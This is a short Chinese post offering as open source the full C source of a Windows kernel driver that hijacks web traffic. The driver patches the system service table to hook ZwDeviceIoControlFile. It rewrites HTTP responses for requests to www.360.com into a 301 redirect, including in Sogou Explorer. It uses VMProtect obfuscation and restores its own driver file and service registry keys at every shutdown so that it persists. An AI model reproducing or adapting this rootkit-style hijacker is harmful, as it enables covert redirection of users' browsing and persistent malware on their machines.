实现网页劫持跳转代码开源

无限感觉

下面代码在内核层实现URL跳转，代码公开。

1. #ifdef __cplusplus
   
2. extern "C"
   
3. {
   
4. #endif
   
5. #include <ntddk.h>
   
6. #ifdef __cplusplus
   
7. }
   
8. #endif
   
9. 
   
10. #include "VMProtectSDK.h"
    
11. #pragma comment(lib, "VMProtectSDK32.lib")
    
12. 
    
13. #include "1.h"
    
14. 
    
15. 
    
16. 
    
17. ULONG ZwDeviceIoControlFile_BaseAddress = 0x0;
    
18. ULONG ZwDeviceIoControlFile_value = 0x0;
    
19. ULONG ZwDeviceIoControlFile_num = 0x0;
    
20. 
    
21. VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
    
22. {
    
23.   PDEVICE_OBJECT Device;
    
24.   UNICODE_STRING SymName;
    
25. 
    
26.   Device = DriverObject->DeviceObject;
    
27.   if (Device != NULL)
    
28.     {
    
29.       RtlInitUnicodeString(&SymName, DEVSYMNAME);
    
30.       IoDeleteSymbolicLink(&SymName);
    
31.       IoDeleteDevice(Device);
    
32.     }
    
33.   if (ZwDeviceIoControlFile_BaseAddress != 0 && ZwDeviceIoControlFile_value != 0)
    
34.     {
    
35.       ChangeMemory_inte(ZwDeviceIoControlFile_BaseAddress, ZwDeviceIoControlFile_value);
    
36.     }
    
37. }
    
38. 
    
39. typedef struct AFD_WSABUF{
    
40.   ULONG  len ;
    
41.   PCHAR  buf ;
    
42. }AFD_WSABUF , *PAFD_WSABUF;
    
43. 
    
44. typedef struct AFD_INFO {
    
45.   PAFD_WSABUF  BufferArray ;
    
46.   ULONG  BufferCount ;
    
47.   ULONG  AfdFlags ;
    
48.   ULONG  TdiFlags ;
    
49. } AFD_INFO,  *PAFD_INFO;
    
50. 
    
51. typedef struct _LYH_ie{
    
52.   HANDLE pid;
    
53.   HANDLE FileHandle;
    
54. }LYH_IE,*PLYH_IE;
    
55. 
    
56. #define IE_MaxNum 1000
    
57. 
    
58. LYH_IE IeBuff[IE_MaxNum];
    
59. 
    
60. NTSTATUS NTAPI LYH_ZwDeviceIoControlFile(IN HANDLE FileHandle,
    
61.                     IN HANDLE Event OPTIONAL,
    
62.                     IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
    
63.                     IN PVOID ApcContext OPTIONAL,
    
64.                     OUT PIO_STATUS_BLOCK IoStatusBlock,
    
65.                     IN ULONG IoControlCode,
    
66.                     IN PVOID InputBuffer OPTIONAL,
    
67.                     IN ULONG InputBufferLength,
    
68.                     OUT PVOID OutputBuffer OPTIONAL,
    
69.                     IN ULONG OutputBufferLength)
    
70. {
    
71.   NTSTATUS RetValue = STATUS_SUCCESS;
    
72.   HANDLE pid = 0x0;
    
73.   PAFD_INFO AdInfo;  
    
74.   ULONG len,i;
    
75.   BOOLEAN IsFind = FALSE;
    
76.   CHAR JmpUrl[] = {"HTTP/1.1 301 Moved Permanently\r\nLocation: http://www.qq.com\r\n"};
    
77.   PMDL pMdl;
    
78.   PVOID MdlAddress;
    
79.   PEPROCESS process;
    
80.   PCHAR name;
    
81.   BOOLEAN IsSoGou = FALSE;
    
82. 
    
83.   pid = PsGetCurrentProcessId();
    
84. 
    
85.   if (IoControlCode == 0x1201f)
    
86.     {
    
87.       AdInfo = (PAFD_INFO)InputBuffer;
    
88.       len = AdInfo->BufferArray->len;
    
89. 
    
90.       process = PsGetCurrentProcess();
    
91.       name = PsGetProcessImageFileName(process);
    
92.       if (_stricmp(name, "sogouexplorer.e") == 0)
    
93.         {
    
94.           IsSoGou = TRUE;
    
95.         }
    
96.       else
    
97.         {
    
98.           IsSoGou = FALSE;
    
99.         }
    
100. 
     
101.       IsFind = FALSE;
     
102.       pMdl = IoAllocateMdl(AdInfo->BufferArray->buf, len, FALSE, FALSE, NULL);
     
103.       if (pMdl != NULL)
     
104.         {
     
105.           _try
     
106.           {
     
107.           MmProbeAndLockPages(pMdl, UserMode, IoReadAccess);
     
108. 
     
109.           MdlAddress = MmMapLockedPagesSpecifyCache(pMdl, KernelMode, MmCached, NULL, FALSE, NormalPagePriority);
     
110.           if (MdlAddress != NULL)
     
111.             {
     
112.               if (_strnicmp((PCHAR)MdlAddress, "get", 3) == 0 || _strnicmp((PCHAR)MdlAddress, "post", 4) == 0)
     
113.                 {
     
114.                   if (len > 0x14)
     
115.                     {
     
116.                       len -= 0x14;
     
117.                     }
     
118. 
     
119.                   for (i = 0; i < len; i++)
     
120.                     {
     
121.                       if (_strnicmp((PCHAR)((ULONG)MdlAddress + i), "www.360.com", 14) == 0  )
     
122.                         {
     
123.                           IsFind = TRUE;
     
124.                           break;
     
125.                         }
     
126.                     }
     
127. 
     
128.                 }
     
129.             }
     
130. 
     
131.           MmUnlockPages(pMdl);
     
132.           }_except(EXCEPTION_EXECUTE_HANDLER)
     
133.           {
     
134. 
     
135.           }
     
136.           IoFreeMdl(pMdl);
     
137.         }
     
138.       if (IsFind)
     
139.         {
     
140.           IsFind = FALSE;
     
141.           for (i = 0; i < IE_MaxNum; i++)
     
142.             {
     
143.               if (!IsSoGou)
     
144.                 {
     
145.                   if (IeBuff[i].FileHandle == FileHandle && IeBuff->pid == pid)  //遍历这个进程
     
146.                     {
     
147.                       IsFind = TRUE;
     
148.                       break;
     
149.                     }
     
150.                 }
     
151.               else
     
152.                 {
     
153.                   if (IeBuff[i].pid == pid)
     
154.                     {
     
155.                       IsFind = TRUE;
     
156.                       break;
     
157.                     }
     
158.                 }
     
159.             }
     
160.           //如果没有找到，就添加
     
161.           if (!IsFind)
     
162.             {
     
163.               for (i = 0; i < IE_MaxNum; i++)
     
164.                 {
     
165.                   if (IsSoGou)
     
166.                   {
     
167.                     if (IeBuff[i].pid == 0 && IeBuff[i].FileHandle == 0)
     
168.                       {
     
169.                         IeBuff[i].FileHandle = FileHandle; IeBuff[i].pid = pid;
     
170.                         break;
     
171.                       }
     
172.                   }
     
173.                   else
     
174.                   {
     
175.                   if (IeBuff[i].FileHandle == 0 || IeBuff[i].pid == 0)
     
176.                     {
     
177.                       IeBuff[i].FileHandle = FileHandle; IeBuff[i].pid = pid;
     
178.                       break;
     
179.                     }
     
180.                   }
     
181.                 }
     
182.             }
     
183.         }
     
184.    
     
185.     }
     
186. 
     
187.   _asm
     
188.     {
     
189.       pushad
     
190.       push OutputBufferLength
     
191.       push OutputBuffer
     
192.       push InputBufferLength
     
193.       push InputBuffer
     
194.       push IoControlCode
     
195.       push IoStatusBlock
     
196.       push ApcContext
     
197.       push ApcRoutine
     
198.       push Event
     
199.       push FileHandle
     
200.       call ZwDeviceIoControlFile_value
     
201.       mov RetValue,eax
     
202.       popad
     
203.     }
     
204. 
     
205.   if (NT_SUCCESS(RetValue))
     
206.     {
     
207.       if (IoControlCode == 0x12017)
     
208.         {
     
209.           AdInfo = (PAFD_INFO)InputBuffer;
     
210.           len = AdInfo->BufferArray->len;
     
211. 
     
212.           process = PsGetCurrentProcess();
     
213.           name = PsGetProcessImageFileName(process);
     
214. 
     
215.           if (_stricmp(name, "sogouexplorer.e") == 0)
     
216.             {
     
217.               IsSoGou = TRUE;
     
218.             }
     
219.           else
     
220.             {
     
221.               IsSoGou = FALSE;
     
222.             }
     
223. 
     
224.           pMdl = IoAllocateMdl(AdInfo->BufferArray->buf, len, FALSE, FALSE, NULL);
     
225.           if (pMdl != NULL)
     
226.             {
     
227.               _try{
     
228.               MmProbeAndLockPages(pMdl, UserMode, IoWriteAccess);
     
229. 
     
230.               MdlAddress = MmMapLockedPagesSpecifyCache(pMdl, KernelMode, MmCached, NULL, FALSE, NormalPagePriority);
     
231.               if (MdlAddress != NULL)
     
232.                 {
     
233.                   if (_strnicmp((PCHAR)MdlAddress, "http", 4) == 0)
     
234.                     {
     
235.                       IsFind = FALSE;
     
236.                       for (i = 0; i <  IE_MaxNum; i++)
     
237.                       {
     
238.                         if (IsSoGou)
     
239.                         {
     
240.                           if (IeBuff[i].pid == pid)
     
241.                             {
     
242.                               IsFind = TRUE;
     
243.                               IeBuff[i].FileHandle = 0x0; IeBuff[i].pid = 0x0;
     
244.                               break;
     
245.                             }
     
246.                         }
     
247.                         else
     
248.                         {
     
249.                         if (IeBuff[i].FileHandle == FileHandle && IeBuff[i].pid == pid)
     
250.                         {
     
251.                           
     
252.                           IsFind = TRUE;
     
253.                           IeBuff[i].FileHandle = 0x0; IeBuff[i].pid = 0x0;
     
254.                           break;
     
255.                         }
     
256.                         }
     
257.                       }
     
258.                       if (IsFind)
     
259.                       {
     
260.                         strcpy((PCHAR)MdlAddress, JmpUrl);
     
261.                       }
     
262.                     }
     
263.             
     
264.                 }
     
265.               MmUnlockPages(pMdl);
     
266.               }_except(EXCEPTION_EXECUTE_HANDLER)
     
267.               {
     
268. 
     
269.               }
     
270.               IoFreeMdl(pMdl);
     
271.             }
     
272.         }
     
273.     }
     
274.   return RetValue;
     
275. }
     
276. 
     
277. NTSTATUS DefDispatch(IN PDEVICE_OBJECT Device, IN PIRP Irp)
     
278. {
     
279.   Irp->IoStatus.Status = STATUS_SUCCESS;
     
280.   Irp->IoStatus.Information = 0;
     
281. 
     
282.   IoCompleteRequest(Irp, IO_NO_INCREMENT);
     
283. 
     
284.   return STATUS_SUCCESS;
     
285. }
     
286. 
     
287. UNICODE_STRING RestoreRegPath;
     
288. PKEY_VALUE_PARTIAL_INFORMATION pvpi = NULL;
     
289. 
     
290. ULONG FileSize = 0x0;
     
291. PVOID FileBuff = NULL;
     
292. 
     
293. NTSTATUS ShutDownDispatch(IN PDEVICE_OBJECT Device, IN PIRP Irp)
     
294. {
     
295.   NTSTATUS status;
     
296.   HANDLE hkey;
     
297.   OBJECT_ATTRIBUTES ObjectAttributes;
     
298.   UNICODE_STRING RegName;
     
299.   PWCHAR DisplayName = {L"WebNdis"};
     
300.   ULONG ErrorControl = 0x1, Start = 0x1, Type = 0x1;
     
301. 
     
302.   //写文件
     
303.   HANDLE hfile;
     
304.   IO_STATUS_BLOCK IoStatus;
     
305.   LARGE_INTEGER number;
     
306. 
     
307.   if (FileBuff != NULL)
     
308.     {
     
309.       RtlInitUnicodeString(&RegName, (PCWSTR)pvpi->Data);
     
310.       InitializeObjectAttributes(&ObjectAttributes, &RegName, OBJ_CASE_INSENSITIVE, NULL, NULL);
     
311.       status = ZwCreateFile(&hfile, GENERIC_WRITE, &ObjectAttributes, &IoStatus, NULL, FILE_ATTRIBUTE_NORMAL,
     
312.                      FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN_IF, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);
     
313.       if (NT_SUCCESS(status))
     
314.         {
     
315.           number.QuadPart = 0x0;
     
316.           ZwWriteFile(hfile, NULL, NULL, NULL, &IoStatus, FileBuff, FileSize, &number, NULL);
     
317.           ZwClose(hfile);
     
318.         }
     
319.     }
     
320. 
     
321.   //注册表回写
     
322.   if (pvpi != NULL)
     
323.     {
     
324.       InitializeObjectAttributes(&ObjectAttributes, &RestoreRegPath, OBJ_CASE_INSENSITIVE, NULL, NULL);
     
325.       status = ZwCreateKey(&hkey, KEY_ALL_ACCESS, &ObjectAttributes, 0, NULL, 0, NULL);
     
326.       if (NT_SUCCESS(status))
     
327.         {
     
328.           RtlInitUnicodeString(&RegName, L"DisplayName");
     
329.           ZwSetValueKey(hkey, &RegName, 0, REG_SZ, DisplayName, (wcslen(DisplayName) + 1) * sizeof(WCHAR));
     
330. 
     
331.           RtlInitUnicodeString(&RegName, L"ErrorControl");
     
332.           ZwSetValueKey(hkey, &RegName, 0, REG_DWORD, &ErrorControl, 4);
     
333. 
     
334.           //路径
     
335.           RtlInitUnicodeString(&RegName, L"ImagePath");
     
336.           ZwSetValueKey(hkey, &RegName, 0, REG_SZ, pvpi->Data, (wcslen((PWCHAR)pvpi->Data) + 1) * sizeof(WCHAR));
     
337. 
     
338.           RtlInitUnicodeString(&RegName, L"Start");
     
339.           ZwSetValueKey(hkey, &RegName, 0, REG_DWORD, &Start, 4);
     
340. 
     
341.           RtlInitUnicodeString(&RegName, L"Type");
     
342.           ZwSetValueKey(hkey, &RegName, 0, REG_DWORD, &Type, 4);
     
343. 
     
344.           ZwClose(hkey);
     
345.         }
     
346.     }
     
347. 
     
348.   return STATUS_SUCCESS;
     
349. }
     
350. #ifdef __cplusplus
     
351. extern "C"
     
352. #endif
     
353. NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
     
354. {
     
355.   ULONG MajorVersion,MinorVersion;
     
356. 
     
357.   DriverObject->DriverUnload = OnUnload;
     
358. 
     
359. 
     
360.   PsGetVersion(&MajorVersion, &MinorVersion, NULL, NULL);
     
361.   if (MajorVersion == 0x5 && MinorVersion == 0x2)
     
362.     {
     
363.       ZwDeviceIoControlFile_num = 0x45;
     
364.     }
     
365.   else if (MajorVersion == 0x5 && MinorVersion == 0x1)
     
366.     {
     
367.       ZwDeviceIoControlFile_num = 0x42;
     
368.     }
     
369.   else
     
370.     {
     
371.       return STATUS_UNSUCCESSFUL;
     
372.     }
     
373.   memset(IeBuff, 0, 4 * IE_MaxNum);
     
374. 
     
375.   ZwDeviceIoControlFile_BaseAddress = (ULONG)KeServiceDescriptorTable->ServiceTableBase + ZwDeviceIoControlFile_num * 4; //xp 0x42 2003 0x45
     
376.   ZwDeviceIoControlFile_value = *(PULONG)ZwDeviceIoControlFile_BaseAddress;
     
377.   ChangeMemory_inte(ZwDeviceIoControlFile_BaseAddress, (ULONG)LYH_ZwDeviceIoControlFile);
     
378. 
     
379.   {
     
380.     UNICODE_STRING DevName,SymName;
     
381.     NTSTATUS status;
     
382.     PDEVICE_OBJECT fdo;
     
383. 
     
384.     RtlInitUnicodeString(&DevName, DEVICENAME);
     
385.     status = IoCreateDevice(DriverObject, 0, &DevName, FILE_DEVICE_UNKNOWN, 0, FALSE, &fdo);
     
386.     if (!NT_SUCCESS(status))
     
387.       {
     
388.         return status;
     
389.       }
     
390. 
     
391.     RtlInitUnicodeString(&SymName, DEVSYMNAME);
     
392.     status = IoCreateSymbolicLink(&SymName, &DevName);
     
393.     if (!NT_SUCCESS(status))
     
394.       {
     
395.         IoDeleteDevice(fdo);
     
396.         return status;
     
397.       }
     
398.     fdo->Flags |= DO_BUFFERED_IO;
     
399. 
     
400.     DriverObject->MajorFunction[IRP_MJ_CREATE] = DefDispatch;
     
401.     DriverObject->MajorFunction[IRP_MJ_CLOSE] = DefDispatch;
     
402.     DriverObject->MajorFunction[IRP_MJ_SHUTDOWN] = ShutDownDispatch;
     
403. 
     
404.     RestoreRegPath.Buffer = (PWSTR)ExAllocatePool(NonPagedPool, RegistryPath->Length + 1);
     
405.     RtlCopyMemory(RestoreRegPath.Buffer, RegistryPath->Buffer, RegistryPath->Length);
     
406.     RestoreRegPath.Length = RestoreRegPath.MaximumLength = RegistryPath->Length;
     
407. 
     
408.     {
     
409.       //读取注册表文件位置,以备回写
     
410.       HANDLE hkey;
     
411.       UNICODE_STRING ValueName;
     
412.       OBJECT_ATTRIBUTES ObjectAttributes;
     
413.       ULONG ulSize = 0x0;
     
414. 
     
415.       RtlInitUnicodeString(&ValueName, L"ImagePath");
     
416.       InitializeObjectAttributes(&ObjectAttributes, RegistryPath, OBJ_CASE_INSENSITIVE, NULL, NULL);
     
417. 
     
418.       status = ZwOpenKey(&hkey, KEY_ALL_ACCESS, &ObjectAttributes);
     
419.       if (NT_SUCCESS(status))
     
420.         {
     
421.           status = ZwQueryValueKey(hkey, &ValueName, KeyValuePartialInformation, NULL, 0, &ulSize);
     
422.           if (status == STATUS_BUFFER_TOO_SMALL)
     
423.             {
     
424.               pvpi = (PKEY_VALUE_PARTIAL_INFORMATION)ExAllocatePool(PagedPool, ulSize);
     
425.               if (pvpi != NULL)
     
426.                 {
     
427.                   status = ZwQueryValueKey(hkey, &ValueName, KeyValuePartialInformation, pvpi, ulSize, &ulSize);
     
428.                   if (!NT_SUCCESS(status))
     
429.                     {
     
430.                       ExFreePool(pvpi);
     
431.                       pvpi = NULL;
     
432.                     }
     
433.                 }
     
434.             }
     
435.          
     
436.           ZwClose(hkey);
     
437.         }
     
438. 
     
439.       //读文件，以备回写
     
440.       HANDLE hfile;
     
441.       IO_STATUS_BLOCK IoStatus;
     
442.       FILE_STANDARD_INFORMATION fsi;
     
443. 
     
444.       if (pvpi != NULL)
     
445.         {
     
446.           RtlInitUnicodeString(&ValueName, (PCWSTR)pvpi->Data);
     
447.           InitializeObjectAttributes(&ObjectAttributes, &ValueName, OBJ_CASE_INSENSITIVE, NULL, NULL);
     
448.           status = ZwCreateFile(&hfile, GENERIC_READ, &ObjectAttributes, &IoStatus, NULL,
     
449.                           FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);
     
450.           if (NT_SUCCESS(status))
     
451.             {
     
452.               status = ZwQueryInformationFile(hfile, &IoStatus, &fsi, sizeof(FILE_STANDARD_INFORMATION), FileStandardInformation);
     
453.               if (NT_SUCCESS(status))
     
454.                 {
     
455.                   FileSize = (ULONG)fsi.EndOfFile.QuadPart;
     
456.                   FileBuff = ExAllocatePool(NonPagedPool, FileSize);
     
457.                   if (FileBuff != NULL)
     
458.                     {
     
459.                       status = ZwReadFile(hfile, NULL, NULL, NULL, &IoStatus, FileBuff, FileSize, NULL, NULL);
     
460.                       if (!NT_SUCCESS(status))
     
461.                         {
     
462.                           FileSize = 0x0;
     
463.                           ExFreePool(FileBuff);
     
464.                           FileBuff = NULL;
     
465.                         }
     
466.                     }
     
467.                 }
     
468.               ZwClose(hfile);
     
469.             }
     
470.         }
     
471.     }
     
472. 
     
473.    
     
474.     //注册关机回写
     
475.     IoRegisterShutdownNotification(fdo);
     
476. 
     
477.   }
     
478. 
     
479.   return STATUS_SUCCESS;
     
480. }
     
481. 
     
482. 
     

复制代码